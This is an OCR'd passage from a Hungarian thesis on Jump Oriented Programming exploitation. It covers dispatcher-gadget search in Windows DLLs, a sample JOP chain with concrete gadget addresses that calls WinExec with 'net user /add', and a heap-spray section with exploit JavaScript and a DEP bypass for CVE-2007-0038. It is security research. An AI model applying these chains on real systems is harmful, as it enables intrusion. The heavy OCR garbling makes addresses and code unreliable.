jelentdsen megnehezedik a paraméterek tdroldsa szempontjabol. Ezen opcié minden mas

jellemzdjében megegyezik az opcid 2-ben 1évovel.

opcio 4.
add edi, 0x40
Jmp [edi]

Az opcid 4-ben szereplé megoldas hasznéalhaté 32 bites és 64 bites architekturakon is,
ugyanakkor fontos jellemzdje, hogy az index regiszter (edi), minden lépésben 64-gyel
novekszik. Ez abban az esetben jelenthet problémat, ha a dispatcher tabla a stackre keriil.
Mivel a funkcionalis gadgetek cimei csak minden 64-ik cimre helyezhetéek el, igy a
dispatcher tabla mérete 16-szorosa lesz a legegyszeriibb esethez képest a 32bites
architektiran. Amennyiben a stacken nem 4all rendelkezésre elegendd nagysagu hely, tigy a

dispatcher tabla nem fog elférni.

opcio 5:
add edi, 0x8
pop ecx

rol ebx

call [edi]

Az opcid 5-ben szerepld példa sajatossaga, hogy az indexet beallitod utasitds és az indirekt

ugras utasitas koz¢é szamos mas utasitas beé¢kelddott. Felhaszndlhatosadg szempontjabol ez erds
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korlatott jelent a funkcionalis gadgeteknek, ugyanis az ecx regiszter egyaltalan nem, az ebx

regiszter pedig csak a forgatést figyelembe véve hasznélhato fel.

opcio 6.
mov eax, [eax]

call [eax+0x8]

Az utolsé opcidban bemutatott eset regiszter felhasznalas szempontjabol nagyon kedvezd,
mivel csak az eax regisztert foglalja a funkcionalis gadgetek elol. Ugyanakkor a dispatcher
tabla indexének valtoztatdsa egy lancolt lista mentén torténik. Ez a megoldds akkor
hasznalhat6, ha a memoria korrupcio jellege megengedi, hogy tetszdleges irhat6 helyre a JOP

futasa elott el tudjunk helyezni tetszdleges adatot.

A kovetkezd tablazatban az elézdekben bemutatott elméleti dispatcher gadgetek jellemzdit
foglaltam Ossze. A 32bit és 64bit oszlopokban a dispatcher gadget hasznalhatosagat jeleztem
az adott architektiran. Az egyes tipusu memoria korrupcidba azokat az eseteket értem, amikor
egy adott nem nagy terjedelmii memoriaszegmensre van lehetdség adatott elhelyezni, pl. stack
overflownal. A kettestipusu memoria korrupci6 alatt pedig azokat az eseteket értem, amikor
egy Osszefliggd memoriaszegmensbe van lehet6ség adatot elhelyezni viszonylag nagy
tertileten (ilyen lehet pl. egy heap rész). A harmas tipusi memoria korrupcioba azok az esetek
tartoznak, amikor barmely irhatd6 memoriarészbe van lehetdség adatot elhelyezni. Ezeknek a
memoria részeknek nem kell Osszefliggének lenniiik. A stacket abban az esetben hivom
hasznalhatonak, ha a dispatcher gadget nem ir bele a stackbe futas kozben. Tipikusan ez az
eset, ha a dispatcher gadget call utasitassal ugrik a soron kovetkezé funkcionalis gadgetra,
ugyanis ez esetben a dispatcher gadget minden egyes lefutdsakor a stackre kertil a call utasitas
utdni memoriacim, ez pedig elronthatja a stackre eldzdekben elhelyezett paraméterlistat. A
feltételek oszlopba a funkcionalis gadgetekre vonatkoz6 feltételek kertiltek, tehat pl. az, hogy

mely regiszterek nem hasznalhatoak a funkcionalis gadgetekben.

A leirtak alapjan minden egyes dispatcher gadget osztalyozhat6 az aldbbi szempontok szerint:

e Hasznalhat6-e 32 bites illetve 64 bites architekturan
e Hasznalhat6-e olyan memoria korrupcid esetén, amely soran egy relativ kis

memoriarészbe (pl. stack) van lehetdség elhelyezni a dispatcher tablat
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e Hasznalhat6-e olyan memoria korrupcid esetén, amely soran egy egybefiiggd nagyobb

memoriarészben van lehetdség adatot elhelyezni (pl. heap)

e Hasznalhato-e egyszertien (kiegészité gadgetek nélkiil) a stack adatok tarolasara

o Mely feltételeket kell teljesiteniiik a funkcionélis gadgeteknek a jo mitkkddéshez

Opcid 32 bit 64 bit Memoria | Memoria | Memoria | Stack Feltételek
korrup 1. | korrup 2. | korrup 3. | hasznalhato

1 + - + + + + edi

2 + - + + + + edi, esi

3 + + + + + - edi, esi

4 + + - + + + edi

5 + + + + + - edi, ecx,
ebx

6 + + - - + + eax

4.1. Téblazat Dispatcher gadgetok osztalyozasa

4.4 Gadget keresése a kifejlesztett algoritmussal

Az algoritmus tesztelésére windows-os ¢€s linux-os operaciés rendszerek olyan fajlait

hasznaltam, amelyeket minden egyes futdé folyamat betolt a memoriaba. A vizsgalt fajlok az

alabbiak voltak:

windows xp sp2:
kernel32.dll
crtdll.dll
ntdll.dll
user32.dll
gdi32.dll

windows 7:
kernel32.dll
kernelbase.dll
ntdll.dll

verzid: 5.1.2600
verzid: 5.1.2600
verzio: 5.1.2600
verzio: 5.1.2600
verzid: 5.1.2600

verzio: 6.1.7601
verzio: 6.1.7601
verzio: 6.1.7601
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user32.dll
windows 8.1:

kernel32.dll

kernelbase.dll

ntdll.dll
ubuntu:

libc2-15.s0

verzio: 6.1.7601

verzio: 6.2.9200
verzio: 6.2.9200
verzio: 6.2.9200

A tovabbiakban néhany kodrészleten keresztiil mutatom be az algoritmus miikodését.

példa 1 (user32.dll):

Virtualis cim Assembler kod Hossz | Gépi kod
\ S ———
77d66e207: <'add eax, Oxc5e9fffe 5 05feffe9cs
N —
77d66e20f: invalid 2 feff
77d66e217: jmp ecx 2 ffe9
77d66e21f: jmp Oxffttftfftfe39ca 5 €9c539feff
77d66e227: 1ds edi, [ecx] 2 c539
e —
77d66e22f: < cmp esi, eD 2 39fe
AR
77d66e237: invalid 2 feff
— ——
77d66€23f: ‘@word near [eax+0x909090@ 6 19090909090

Az els6 példaban a linedris keresés eredményeképpen az algoritmus megtaldlja a user32.dll
77d66e23f cimén talalhatd indirekt call utasitast. Az ugrd regiszter az eax az utasitdsban. A
kezdeti feltétel az lesz, hogy a funkcionalis gadgetek nem hasznalhatjdk az eax regiszert.
Mindezek utdn az algoritmus az el6zd utasitas keresi. Ezt Ugy tudja megtenni, hogy
byteonként visszafelé haladva diszaszembleri az utasitdsokat és az els6 olyan utasitast veszi
figyelembe, amelynek hossza megegyezik a visszalépések szamaval. A fenti példaban a call
elott két byte-tal szerepld cmp esi, edi utasitds hossza éppen 2 byte (az eggyel elbtte 1évo
hossza is kettd volt, ezért azt figyelmen kiviil hagyta), igy ez lesz az el6z0 utasitas. A cmp esi,

edi nem rontja el a dispatcher gadget miikodését igy nem zarhato ki a jol miikodo dispatcher

o

4.4. abra Dispatcher gadget keresés 1. példa
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gadgetek korébol a vizsgalt jelolt. A feltételek frissitése sordn azonban a jelzdflagek
hasznalata tiltasra keriil. A cmp esi, edi nem moddositja megfeleléen az eax-et, tehat a keresés
tovabb folytatodik. A megeldzd utasitas az 6t byte-tal elétte szerepld add eax, Oxc5eYfffe lesz.
Ez az utasitds sem rontja el a dispatcher gadgetet, tehat nem keriil kizarasra. A feltételek
frissitése soran sem torténik valtozas. A megfeleld ugrd regiszter modositasnak az utasitas
megfelel, mivel az eax-et modositja. Igy a vizsgalt kodrészlet megfelel dispatcher gadgetnek

az alabbi jellemzokkel:

e 32 bites €s 64 bites architektiran is hasznalhato

e astacket hasznalhatja adatok ideiglenes tarolaséara

e a funkciondlis gadgetek nem hasznalhatjak az eax regisztert és a jelz6flageket

e a memoria korrupcionak olyannak kell lennie, hogy gyakorlatilag tetszéleges
memoria cimre kell tudni irni a JOP futtatdsa eldtt, mivel az eax ugroregiszter

nagyon nagy lépésekben valtozik minden végrehajtas soran

A masodik példa egy sikertelen dispatcher gadget azonositast mutat az ntdll.dll-ben. Az ugrod
regiszter az ecx, de mivel az ugras eldtti utasitas is ugras (7 byte hosszisdgu utasitas 7 byte-tal

az indirekt ugras elétt), ezért ezt a kodrészletet az algoritmus elveti.

l\Virtuailis cim W \ Hossz | Gépi kod

/c902210 ( @p dword near [eax*4+0x7¢902260]) | 7 124856022907c

7¢902224 and aTO%85. —_— 2 2485

7¢90222¢ test [eax+0x22], esp 3 856022

7¢902234 pushad 1 60

7¢90223c¢ and dl, [eax+0x8d24{f7c] 6 22907cff248d

7¢902244 nop 1 90

7¢90224c¢ jlOx1 —— 2 Teft

7¢902254 Jmp dword near [ecx*4+0x7c90235§9 7 248d5823907¢c
N~— =

4.5. abra Dispatcher gadget keresés 2. példa
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A harmadik példa egy altalanos célu dispatcher gadget talalatot mutat a crtdll.dll-ben. Az
indirekt ugras az ebx regiszteren keresztiil valosul meg. A megel6zd utasitds az ebx értékét
noveli 16-tal minden 1épésben. Ennél a dispatcher gadgetnél a dispatcher tabla indexe 16
byte-tal ugrik minden 1épésben, tehat 32 bites €s 64 bites cimekhez és jol miikddik. Mivel az
ugras mérete nem tul nagy igy azokra a hibakiakndzdsokra is alkalmazhato, ahol relativ kis
terliletre tud a tdmado sajat adatot elhelyezni. A tdmadashoz a stack is hasznalhatd

adattaroldsra, mivel sem az indirekt ugras sem a kdzbensd utasitasok nem rontjék el azt.

Virtualis cim Assembler kod Hossz | Gépi kéd
>73d3a051 (add ebx, 0x10 ) 3 83c310
73d3a059 ret 1 c3
73d3a061 adc bh, bh 2 10ff
el .
73d3a069 (jmp dword near [ebx] ) 2 ff23

4.6. abra Dispatcher gadget keresés 3. példa

Virtualis cim Assembler kod Hossz | Gépi kod
V. N
77d89479 ( add [eaxw 2 0100
\
77d89478 add [eax], al 2 0000
’/ —
77d89480 ( add [ebp+0x{Tfc3885], cl ) 6 008d8538fcff
77489488 lea eax, [ebp+Oxfftffc38] 6 8d8538fcfftt
77d89490 test [eax], edi 2 8538
77d89498 cmp ah, bh 2 38fc
77d894a0 cld 1 fc
77d894a8 invalid 2 ftff
'/ \
77d894b0 1@ near [eax-0x18 3 ff50e8

4.7. abra Dispatcher gadget keresés 4. példa
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A 4.-ik példaban (user32.dll) az eax regiszter tartalmazza kozvetett formaban a kovetkezo
végrehajtandd funkcionalis gadget cimét. A disapatcher gadget egy kozbensd utasitast
tartalmaz az indirekt ugras és az ugréregiszter értékének beallitdsa kozott. Ez az utasitas az
ebp értékhez képest ir egy memoriat, igy a funkciondlis gadgeteknek allithatjdk be az ebp-t

olyan értékre, amivel a memoriairas tiltott memoriarészre torténne.

Tovabbi megkotést jelent a call utasitds haszndlata az ugrashoz, mivel ez a korabban
bemutatott médon minden Iépésben teleirja a stacket. A legnagyobb nehézséget mégis az
ugroregiszter beallitdsanak modja jelenti. Az elsé utasitdsban az eax bedllitasa az eax cimére
torténik (lancolt listaszerti miikodés). Igy tehat egy olyan memoria korrupcids hibara van
sziikség ezen dispatcher gadget hasznalatdhoz, amely lehetové teszi a tetszdleges helyre
torténd tetszoleges adatok irasat. Mindezek ellenére lehet olyan eset, ahol ezen dispatcher

gadget jol mukodik.

4.5 A Kkifejlesztett algoritmus helyes miikodésének igazolasa

A megtaldlt dispatcher gadget j6 miikodését az alabbi egyszerli hibds programmal
szemléltetem. A funcl metodus strcpy metddusa méretellendrzés nélkiil masolja az ar2
tombbe az arl tombot. Az ar2 mérete 10 byte, az arl mérete tetszoleges lehet. Amennyiben
arl tobb mint 14 byte hosszusagu paramétert kap (10 byte + 4 byte rahagyas a foglalaskor),

ugy a stacken feliilirdédik a funcl visszatérési cime.

#include <string.h>
void funcl(char * arl)
{

char ar2[10];
strepy(ar2,arl);

/

int main (int argc, char* argv[])

S
t

funcl(argv[l]);
/

A 4.8 abran az lathato, hogy 14 byte hosszusadgu adatra éppen nem keriil még feliilirasra a

12ff64 cimen talalhat6 visszatérési cim.
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A JOP hasznalatdhoz a 4.4 fejezet 3.-ik példajaban szerepld dispatcher gadgetet fogom

hasznalni:

add ebx, 10
Jmp dword ptr ds: [ebx]

A kezdeti regiszter érték beallitasahoz egy popad ROP gadgetet hasznalok. A popad ROP

gadgettel az alabbi kezdeti regiszter beallitdsokat teszem:

Regiszter Erték

ebx a dispatcher tabla cime

ecx a dispatcher gadget cime

ebp a dispatcher gadget cime

esi az utasitas string cimének ¢és a dispatcher gadget cimének a kiilonbsége

4 II:BB-‘BIIEE?rEtg | RETURM from edamDle,B0481585 to edample

4.8. abra Stack feliiliras

A JOP index regisztere tehat az ebx. A funkcionalis gadgetek visszatérését az ecx és az edi
regiszterekkel biztositom. Az esi regisztert a stack azon részére allitom, ahovd memoria
korrupcidval a "net user /add" stringet helyeztem. Igy a WinExec-cel végrehajtatva ezt, egy
felhasznal6 adodik a rendszerhez. Mivel a stack cime nulla byte-okat tartalmaz (ez elrontand a
stack feliilirast) ezért az esi-be az a utasitas cimének és az edi regiszter értékének kiilonbségét
teszem, igy ez nem tartalmaz nulla byte-ot. A masodik funkcionalis gadget hozzaadja ehhez
edi-t, igy esi értéke ekkora megfeleld lesz. A 4.2 tiblazat Gsszefoglalja az alkalmazott

gadgetokat a megfeleld sorrendben.
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Dispatcher | Erték /meméria | Fajl Gadget utasitds | Magyarazat
tabla offset | cim
0x00 77d65dda pop eax Felveszi a
std WinExec cimét a
jmp ecx stackrdl
0x10 77d5fa07 add esi,edi Hozzéadja esi-hez edi-t,
jmp ecx igy esi-ben az utasités
cime lesz
0x20 77d48216 xor edi,edi Kinullazza edi-t
jmp ecx
0x30 7c81ebb8 push edi Letesz egy nullat a
jmp ecx stackre (WinExec
masodik paramétere)
0x40 77d62d94 push esi Leteszi az utasitas cimét
std a stackre (WinExec els6
jmp ecx paramétere)
0x50 7¢9409ce xchg esi,eax Beadllitja esi-t a WinExec
std cimére
jmp ecx
0x60 7¢830610 mov edi,ebp Beadllitja edi-t a
jmp ecx dispatcher gadget
cimére, hogy a
kovetkezd gadget
visszatérjen
0x70 77f45cel call esi Végrehajtja a WinExec-
jmp edi et
0x80 77d48216 xor edi,edi Kinullazza edi-t
jmp ecx
0x90 7c81ebb8 push edi Letesz egy nullat a
jmp ecx stackre (ExitProcess
parameétere)
0Oxa0 77d65dda pop eax Felveszi az ExitProcess
std cimét a stackrdl
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jmp ecx

0xb0 7¢9409ce xchg esi,eax Beadllitja esi-t az
std ExitProcess cimére
jmp ecx

0xc0 7¢830610 mov edi,ebp Bedllitja edi-t a
jmp ecx dispatcher gadget

cimére, hogy a

kovetkezd gadget

visszatérjen
0xdo 77f45cel call esi Végrehajtja az
jmp edi ExitProcess-t

4.2. Tablazat Minta JOP tamadas
4.6 Osszegzés

A Jump Oriented Programming a memoria korrupcioval kapcsolatos szoftverhiba kiaknazasok
egyik legmodernebb formaja. Kedvezd jellemzdjét tamadod szempontbdl foként annak
koszonheti, hogy a timadashoz nem sziikséges sajat kodrészleteket elhelyezni a végrehajthato
memoriaszegmensekben, mivel a JOP - hasonléan a Return Oriented Programminghoz - a
virtudlis memoridban mar meglévd kodrészletekkel dolgozik. A JOP emellett Turing teljes,
igy tehat elvben tetszlleges tamadd kod is végrehajthatd vele. Valdjaban a végrehajthato
utasitasok listajat a rendelkezése allo gadgetek befolyadsoljak. A ROP technikahoz képest
hatalmas elonyt jelent, hogy a JOP nem hajtja végre minden gadget végén a ret utasitast, igy
egyrészt ezzel nem konnyiti meg a detektalhatosdgot, masrészt nem feltétlentil sziikséges a
stack hasznélata a hibakiakndzashoz. Mindezek bovitik az alkalmazhatdsdganak korét mind a

memoriakorrupcid fajtdjanak mind pedig a rendszert védo védekezések szempontjabol.

A JOP kétség kiviil a jovo egyik komoly szoftverhiba kiaknazasi technikaja. Szinte minden
olyan esetben, amikor valamely 0j 6tlet meriil fel a memoriakiaknazasok kapcsan figyelembe
veszik a bemutatott uj mdédszer JOP-pal kapcsolatos lehetdségeit. 2013-ban keriilt bemutatasra
a Return Oriented Programming JIT-ROP megvalositasa [53]. A szerzé azonnal megemliti az
elvben lehetséges JIT-JOP megoldast és felhivja a figyelmet ennek tovabbi sziikséges

vizsgalatara.

55




A dolgozat ezen fejezetében a JOP legfontosabb részének a kodfutdst vezérld dispatcher
gadgetnek a keresésére mutattam be egy 0j algoritmust. A korabban publikalt algoritmusok a
JOP jelenlegi hasznalatdhoz megfeleldek tudnak lenni, ugyanakkor nagyon sok szempontot
figyelmen kiviill hagynak. Az Aaltalam kifejlesztett algoritmus egy sokkal altalanosabb
megoldast ad, a virtualis memoridban 1évo kodrészletek elemzésére olyan szempontbdl hogy
megallapitsa, hogy mely kodrészlet alkalmas dispatcher gadgetnak. A kifejlesztett algoritmus
figyelembe veszi a hasznalatosag feltételeit, valamint osztalyozza a dispatcher gadget
jelolteket felhasznalhatosdg szempontjabol. A felhasznalhatésagot nem csak a dispatcher

gadget kodja befolydsolja dnmagaban, hanem a memoria korrupcid tipusa.

A dispatcher gadgetek keresésével és osztalyozédsaval kapcsolatos eredményeimet az elsd

tézisben foglalom Ossze:

1. a, Uj algoritmust dolgoztam ki a Jump Oriented Programming memoéria korrupcios
szoftverhiba Kkiaknazasi modszerhez tartozo dispatcher gadgetek Kkeresésére. A
kidolgozott modszert nem befolyasolja a vizsgalt kédrészlet hossza és képes figyelembe
venni a gadget belsejében talalhato kozbenso utasitasokat. Erre a feladatra jelenleg még
nincs pontos algoritmus az irodalomban. Meghataroztam a dispatcher gadget megfelel6
miikodésének feltételeit. Igazoltam, hogy szamos jelenlegi windowsos és linuxos
operacios rendszer tartalmaz jol miikodo dispatcher gadgetnek alkalmas kodrészleteket.
1. b, Uj eljarast dolgoztam ki a dispatcher gadgetek hasznilhatésig szerinti
osztalyozasara, amely figyelembe veszi a szoftverhiba tipusat, a verem hasznalhatosagat
valamint az architektura tipusat is. Egy egyszerii mintatimadassal szemléltettem a

dispatcher gadgetek helyes miikodését.
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5. Heap spray alkalmazasa Return Oriented és Jump

Oriented Programminghoz

Ebben az alfejezetben a ROP ¢és JOP egyik hidnyossagara probalok megoldast keresni,
nevezetesen arra, hogy mi torténik akkor, ha a memoriakorrupcié helyén nem all
rendelkezésre megfeleld nagysadgii memoriateriilet. Mind a ROP és a JOP payloadja
lényegesen hosszabb, mint egy adatszegmensen végrehajtédd payload kodja. Mindezek miatt
célszerli lehet, mind a ROP mind a JOP technikat a heap spray elézetes payload elhelyezési
technikaval kombinélni. Ebben az alfejezetben tehat egy 10j hiba kihasznalasi moédszert
probalok megalkotni és bemutatni. A szakirodalomban sem a ROP és a heap spray sem a JOP
és a heap spray kombindciojara nem talaltam megoldast és kutatdsi eredményt. A kettd

kombinacioja elméletben rendkiviil elonyds lehet, mivel egymas hianyossagait kiegészithetik.

A ROP ¢és a JOP pontos miikddését kordbban bar bemutattam. Jelen vizsgalathoz elsd
Iépésben Osszefoglalom a heap spray lényegét és milkddését. A heap spray technika
alkalmazasa sordn a tdmado a heapen helyezi el a futtatni kivant kédot [54]. A heap spraynek
tehat semmi koze a heap overflowhoz, mivel a program futasédnak eltéritése nem feltétleniil
kotddik a heaphez. A rendeltetésszerli hasznalattol vald eltérés sordn a tdmado a program
futdsat a heapre irdnyitja, azt feltételezve, hogy a mar elézbleg ott elhelyezett timado kodja le
fog futni. A heap spray tehat egy payload elhelyezési technika. Mivel pontos heap cimet nem
tud a tdmado, ezért a hiba kiaknazasa el6tt a tamado kodjat tobb példanyban a heapre teszi

(innen ered a heap spray név). A heap spray féle kiaknazas tehat a kovetkezd 1épésekbdl all:

1. Tamado6 kod elhelyezése minél tobb példanyban a heapen
2. Memoriakorrupciods hiba kiaknazasa

3. Programfutas atirdnyitasa a heapre a tdmadoé kod egyik példanyanak a feltételezett helyére

Az elsO 1épés miatt ez a tdmadas csak olyan szoftvereknél alkalmazhato, amelyeknél van
lehetdség a hiba kiaknazasa el6tt a heapet teleirni a tamado koéddal. A legjobb példa erre a
bongészd, ahol a hiba kiaknazasa eldtt a tamadod javascripttel vagy vbscripttel teleirhatja a
heapet. Javascript hasznalhato Adobe Readernél is illetve actionscripttel is teleirhato a heap a

flash lejatszok esetén.
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5.1 Klasszikus heap spray

A klasszikus heap spray technikdndl a tdmadé a heap valamely részére iranyitja a
koédvégrehajtast. Valdjaban a timadonak fogalma sincs, hogy ott a shellcode melyik példanya
van, de ez mindegy is, mert mindegyik példany ugyanazt a timadé kodsorozatot tartalmazza.
A probléma inkabb azzal van, hogy a tdmado6 nem feltétleniil talalja el a payload legelejét. Ez
azért gond, mert ha nem fut le a teljes payload, Gigy a tdmadas se hajtodik végre. Erre a
problémara kivalé a veremtulcsordulds kiaknazasanal bemutatott nopsled. Amennyiben a
payloadot egy nagyméretli nopsled el6zi meg, gy annak barmely részére is keriil a vezérlés a

hatas ugyanaz. Ennek megfelelden a tdmadé az 5.1. abran lathat6 heap elrendezésre torekszik.

Heap
viltozé n MOP sorozat
shellcode
valtozé 3 MOP sorozat
shellcode
valtozé 2 NOP sorozat
shellcode
i , NOP sorozat
valtozo 1
shellcode

5.1. abra A heap megfeleld elrendezése a heap-sprayhez

A heap lefedése természetesen nem lehetséges egy valtozoval. A 5.1 abran lathatdé modon nop
sledek és payloadok kombinacidjat kell elhelyezni szabalyosan ismétlédve. Ehhez a
tamadonak javascript ciklust, vagy ami még ennél is célszerlibb: string tombot kell

létrehoznia, amely minden eleme ugyanazt a stringet tartalmazza.
A 5.1. abran lathat6 az is, hogy a j6 megoldas az, ha a nopsledek és a végrehajtandd tamado

kod hézagmenetesen fedik le a heapet. A hézagmentes lefedés sok esetben nem is egyszerii

feladat. A heap egyszeres és kétszeres lancolt listakat tartalmaz és a lancolt lista egy eleme
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kiilonboz6 nagysagu lehet. A string tomb elemméretének megvalasztasa ezért kulcsfontossagu
a heap spray tdmado kodjanak elhelyezésénél. Ha a tomb egy eleme tal nagy, akkor a heapben
vald tarolas sordn a stringet még két részre bonthatja az operacios rendszer. Ha a méret tal
kicsi, uigy a heap blokkjainak header adataibol tul sok lesz. A leginkdbb hézagmentes lefedés
legjobban akkor teljesiil, ha a tobb egy elemének mérete pontosan megegyezik a heap egy
blokkjanak netté méretével és ez a méret a lehetd legnagyobb. Teljes hézagmenetes lefedés a

blokkok headerjei miatt nem lehetséges.

5.2 DEP megkeriilése Heap spray hasznalataval

A Data Execution Prevention tdmadd oldalrdl nézve o6ridsi problémat jelent a klasszikus
heapspraynél. Mivel a payload a heapen van sok példanyban, ezért a payload egy lehetséges
JO cimét eltalalni konnyti, de annak futasat a DEP megakadalyozza (a stacken €és heapen csak
adatok lehetnek, kod nem futhat). Sziilettek azonban megoldasok a DEP megkeriilésére heap

spray alkalmazasa esetén is.

Sotirov és Dowd [55] az Internet Explorer 7 LoadAnilcon hibajan (CVE-2007-0038)
keresztiil mutat be lehetdségeket a DEP megkeriilésére heap spray technikaval. A megoldas
lényege, hogy kod-Ujrafelhasznalds segitségével a fix memoriacimre betdltddd flash
playerben taladlhat6 VirtualProtect metodushivas segitségével a tdamadd kod modositja a
payloadot tartalmazo heap rész DEP védelmét. Valojaban ez a megoldas nem kozvetleniil a
DEP-et keriili ki, hanem kikapcsolja a DEP-et, amely Osszességében mégis csak egy DEP
megkeriilési modszer (a hibas szoftver DEP védelemmel van ellatva, de az exploit lefut). A
megoldas kulcsa tehat a VirtualProtect metddushivas, amely jelen van a Flash Player version
9.0.124.0-ben egy fix memoriacimen. A veremtulcsordulds kiakndzasa soran a LoadAni
visszatérési cime keriil feliilirdsra a Flash Playerben taldlhat6 VirtualProtect cimmel. A
kiaknazashoz a verembe kell még helyezni a VirtualProtect megfeleld paramétereit is. A

VirtualProtect metddushivas az alabbi bemeneti paraméterekkel dolgozik:

e amemoria kezdécime, amelyen a DEP mddositést kell végrehajtani
e amemoria blokk hossza
e amemoria védelmi mdd tipusa (csak végrehajtas, csak irds, iras és végrehajtas, stb.)

e cgy memoria cim, amire az el6z6 védelmi mdd értékét irja a metddus
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A flash player kodjaban a VirtualProtect metddushivas az alabbi médon van jelen:

call ds:VirtualProtect
pop ecx

retn Och

Nagyon elonyos, hogy a fenti kodban gyakorlatilag kozvetleniil egy retn utasitas van, a
VirtualProtect metodushivas utan. Ez azért fontos, mert a veremtulcsordulas soran a
visszatérési cim VirtualProtect-re irdnyitdsan és a VirtualProtect paramétereinek veremre
irasan tul a kodfuttatast rogton az adott heap részre lehet irdnyitani, koszonhetéen a ret

utasitasnak. A megfeleld kiaknazashoz az alabbi értékeket kell a stackre helyezni:

a flashplayer VirtualProtect metdédushivasanak a cime (eredetileg itt szerepelt a

LoadAnilcon visszatérési cime)

e dummy értékek, amik még a LoadAnilcon paraméterei voltak

e a heap cime, amelyen a DEP védekezés értékét megvaltoztatjuk (a teleirt heap rész
kozepe)

e a blokk mérete, amin a valtozast szeretnénk végrehajtani (az elhelyezett shellcode
méret)

e avédekezési értek (PAGE_EXECUTE _READWRITE)

o arégi értéknek egy memoriacim (egy tetszéleges irhaté memoriacim)

e dummy érték, amelyet a pop ecx hasznal a flash player kédjaban

e a flash player kodjaban szerepld retn-hez tartozo6 cim (a shellcode cime).

A fenti megoldassal a LoadAnilcon nem tér vissza a normal miikddéshez tartozo
kodrészlethez, helyette a flashplayerben taldlhatdo VirtualProtect metddushivasra ugrik. Ez
felveszi a stackrdl a megfelelden beallitott paramétereket, ezaltal megvaltoztatja egy kdzbensd
heaprész DEP védelmét. Ezen a részen mar ott van az el6zdleg elhelyezett shellcode egy
példanya. A VirtualProtect lefutdsa utan a pop ecx felveszi a dummy értéket, majd a ret

utasitas az eldzdleg megvaltoztatott DEP védelemhez tartozé shellcode-ra ugrik és le is fut.
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A DEP megkeriilésére akkor is van megoldéas, ha a veremtulcsorduldsos hibahoz tartozé
metodus stack cookie védelemmel van ellatva. Ebben az esetben a kivételkezeld kodjat kell
feliilirni. Ez a megoldas azért lesz egy kicsit Osszetettebb, mert ha a kivételkezelés miatt a
kodvégrehajtas még a LoadAnilcon befejezddése elott abbamarad, ugy a LoadAnilcon stack
frame-je se €piil le a verembdl, igy a VirtualProtecthez se lehet paramétereket rendelni. Ennél
a megoldasnal a kivételkezelést nem kozvetleniil a VirtualProtect-re kell iranyitani, hanem
elétte a stackpointert kell beéllitani a megfeleld helyre, egy add esp, értek jelleglii rovid

kodrészlettel. A flashplayerben szerencsére ilyen is talalhato:

add esp, 0b30h

retn

Ezaltal az els6 1épésben a stackpointer a tdimadas szempontjabol megfeleld helyre keriil, majd

a kordbban bemutatott VirtualProtect-es modszert hasznalja.

5.3 Heap spray Return Oriented Programminggal

Az elozéekben bemutatott kiaknazasi tipusnal a DEP védelem tgy lett megkeriilve, hogy a
VirtualProtect metddushivassal a heap egy adott részének DEP védelmét kikapcsoltuk.
Garancia természetesen nincs arra, hogy altalanos esetben fix cimen szerepelni fog egy ilyen
metodushivas. A DEP kikapcsolasara természetesen mas technika is alkalmazhat6 pl. a Return

Oriented Programmingnal alkalmazott alabbi rovid visszatérési cim €s paraméter sorozat:

1. Pop eax gadget
2. Virtual Protect cime

3. Call eax gadget

Az els6 gadget (els6 adat) felveszi a VirtualProtect cimét (masodik adat) a stackrdl, a méasodik
gadget (harmadik adat) ezt metodusként meghivja. Ezzel a megoldassal az a probléma, hogy
ha van ASLR, akkor a VirtualProtect cime nem ismert. Ebben az esetben még az ASLR-t is
meg kell kertilni pl. brute force modon. Ugyancsak Return Oriented Programminghoz hasonlé

modszert hasznaltak [5-5] a kivételkezel6 feliilirdsdhoz tartozé kiaknazéasnal is.
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A kutatas sordn egy olyan modszert kerestem, amellyel nem sziikséges a heap DEP védelmét
kikapcsolni, ugyanakkor rendelkezik a heap spray azon elényével, hogy a shellcode pontos
cimét nem kell ismerni és mar a hiba kiakndzasa el6tt elhelyezhetd a memoridban a tamado
koéd. Ez a megoldds a ROP ¢és a heap spray kombinacioja, tdmadé kodot erre még nem
publikaltak. A modszer mikodoképességének bizonyitdsat egy Windows XP operacios
rendszeren futd Internet Explorer 6.0 LoadAnilcon sériilékenységén keresztiil mutatom be. A

tamado kod megirdsdhoz az eredeti [56] exploitot modositottam.

Az eredeti exploitban a heap spray-t javascripttel alkalmaztak az alabbi mddon:

var heapSprayToAddress = 0x07000000;

var payLoadCode = unescape("%uESFC%u0044%... );

var heapBlockSize = 0x400000;

var payLoadSize = payLoadCode.length * 2;

var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

var spraySlide = unescape("%u4141%u4141");

spraySlide = getSpraySlide(spraySlide,spraySlideSize),
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + payLoadCode; }

Az exploit gépi kodja payLoadCode nevii valtozoban taldlhatd. Ez a kddsorozat a "proof of
concept" tdmadasokhoz hasonléan egy kalkulatort nyit meg. A kalkuldtor megnyitdsa azt
bizonyitja, hogy a tamado egy ettdl eltérd payload-dal tetszoleges kddot végrehajthatott volna

(arbitrary code execution).

A spraySlide nevii valtozd a nopsledet tartalmazza. Jelen esetben ez nem egy klasszikus
nopsled, mivel a 41-es hexa érték ismétlddik benne. A hexa 41 az inc ecx megfeleldje, tehat
valojaban semmi jelentds nem torténik a sprayslide végrehajtdsa sordn (az ecx folyamatos
novelése a payloadra nincs hatassal). A for ciklusban a memoriaba keriil a sprayslide és a
payload 6sszefiizott kombinécioja tobb példanyban, igy barmely helyre is ugrana az utasités-

végrehajtas ezen heap részen eldbb utdbb a payload lefut az elejétdl a végéig.
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A Return Oriented Programming és a heap spray kombinaciéjahoz meg kell talalni a
megfeleld értékeket a sprayslideba és payloadba is. A Return Oriented Programming
kodvégrehajtas sordn a stack vezérli a gadget-végrehajtast és a paramétereket, ezért az els6
feladat a stack athelyezése a heap azon részére ahol eldzdleg elhelyeztiik a tamado kodot.

Ehhez tobb lehetdség is megfeleld lehet elméletben, pl:

e xchg eax, esp (kicseréli az eax regiszter €s a stack pointer értékét, ehhez eldtte az eax-t
be kell allitani)

e mov esp, ebp (megvaltoztatja a stack pointer értékét, itt eldzetesen az ebp-t kell
beallitani)

e pop esp ( felveszi az aktualis stackrdl az 0j stackpointert, az aktudlis stackre kell

helyezni a kivant Uj stack pointert).

A kutatds soran tObb megoldast is kiprobaltam, a legegyszertibb megoldas a harmadik eset
volt. Ebben a megoldasban ketté darab értéket kell feliilirni a normal mitkddéshez tartozo
stacken: a LoadAnilcon visszatérési cimét egy meglévl pop esp utasitds cimére, valamint a

kozvetlen utana kovetkezo értéket a kivant uj stack cimre.

